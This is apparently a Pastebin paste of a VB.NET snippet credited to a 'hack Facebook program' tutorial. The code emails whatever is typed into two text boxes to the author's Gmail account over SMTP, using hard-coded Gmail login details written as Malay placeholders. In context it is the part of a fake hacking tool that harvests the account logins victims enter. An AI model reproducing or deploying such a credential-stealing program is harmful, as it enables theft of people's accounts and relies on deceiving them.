Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1st code- Imports System.Net.Mail 2nd code- Dim MyMailMessage As New MailMessage() Try MyMailMessage.From = New MailAddress("Akaun Gmail anda") MyMailMessage.To.Add("Akaun Email anda") MyMailMessage.Subject = TextBox1.Text MyMailMessage.Body = TextBox2.Text Dim SMTP As New SmtpClient("smtp.gmail.com") SMTP.Port = 587 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Akaun Gmail anda", "Password Gmail anda") SMTP.Send(MyMailMessage) TextBox2.Text = "" Catch ex As Exception End Try End Sub - See more at: http://www.omghackers.com/2012/03/tutorial-hack-facebook-program.html#sthash.XpvHwy22.dpuf
Add Comment
Please, Sign In to add comment
